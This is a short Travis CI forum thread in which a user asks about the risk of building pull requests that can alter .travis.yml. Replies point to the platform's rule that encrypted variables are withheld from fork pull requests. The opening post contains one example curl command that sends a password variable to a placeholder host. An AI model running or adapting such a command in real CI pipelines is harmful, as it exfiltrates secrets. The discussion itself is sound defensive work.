# A risk about \`Build pushed pull requests\`

**URL:** <https://travis-ci.community/t/a-risk-about-build-pushed-pull-requests/3232>\
**Category:** Travis CI Discussions & Feedback\
**Created:** [April 30, 2019, 9:38am UTC](https://travis-ci.community/t/a-risk-about-build-pushed-pull-requests/3232 "2019-04-30T09:38:48Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

**Author:** ![liyuanqiu](https://sea1.discourse-cdn.com/flex015/user_avatar/travis-ci.community/liyuanqiu/32/1725_2.png) [@liyuanqiu](https://travis-ci.community/u/liyuanqiu)\
**Post date:** [April 30, 2019, 9:38am UTC](https://travis-ci.community/t/a-risk-about-build-pushed-pull-requests/3232/1 "2019-04-30T09:38:48Z")

</div>

If we enable [Build pushed pull requests](https://docs.travis-ci.com/user/web-ui/#build-pushed-pull-requests), PRs will trigger builds.

Anyone can modify `.travis.yml` file in a PR, that means if `Build pushed pull requests` is turned on, the attackers can do anything in CI.

Such as:

```bash
curl http://example.com/xxx?v=$password

```

How to get rid of this risk?

---

<div class="post-metadata">

**Author:** ![hugovk](https://sea1.discourse-cdn.com/flex015/user_avatar/travis-ci.community/hugovk/32/684_2.png) [@hugovk](https://travis-ci.community/u/hugovk)\
**Post date:** [April 30, 2019, 11:38am UTC](https://travis-ci.community/t/a-risk-about-build-pushed-pull-requests/3232/2 "2019-04-30T11:38:43Z")

</div>

Use encrypted environment variables.

> _Encrypted environment variables are not available to pull requests from forks due to the security risk of exposing such information to unknown code._

> **[Travis CI Documentation](https://docs.travis-ci.com/user/environment-variables/#defining-encrypted-variables-in-travisyml)**
>
> Environment Variables

---

<div class="post-metadata">

**Author:** ![BanzaiMan](https://sea1.discourse-cdn.com/flex015/user_avatar/travis-ci.community/banzaiman/32/67_2.png) [@BanzaiMan](https://travis-ci.community/u/BanzaiMan)\
**Post date:** [April 30, 2019, 12:18pm UTC](https://travis-ci.community/t/a-risk-about-build-pushed-pull-requests/3232/3 "2019-04-30T12:18:12Z")

</div>

You cannot use encrypted variables on PR builds (from forks) due to security risks. [https://docs.travis-ci.com/user/pull-requests/#pull-requests-and-security-restrictions](https://docs.travis-ci.com/user/pull-requests/#pull-requests-and-security-restrictions)

---

<div class="post-metadata">

**Author:** ![liyuanqiu](https://sea1.discourse-cdn.com/flex015/user_avatar/travis-ci.community/liyuanqiu/32/1725_2.png) [@liyuanqiu](https://travis-ci.community/u/liyuanqiu)\
**Post date:** [April 30, 2019, 1:05pm UTC](https://travis-ci.community/t/a-risk-about-build-pushed-pull-requests/3232/4 "2019-04-30T13:05:33Z")

</div>

Thank you very much

---

<div class="post-metadata">

**Author:** ![liyuanqiu](https://sea1.discourse-cdn.com/flex015/user_avatar/travis-ci.community/liyuanqiu/32/1725_2.png) [@liyuanqiu](https://travis-ci.community/u/liyuanqiu)\
**Post date:** [April 30, 2019, 1:06pm UTC](https://travis-ci.community/t/a-risk-about-build-pushed-pull-requests/3232/5 "2019-04-30T13:06:06Z")

</div>

Thank you too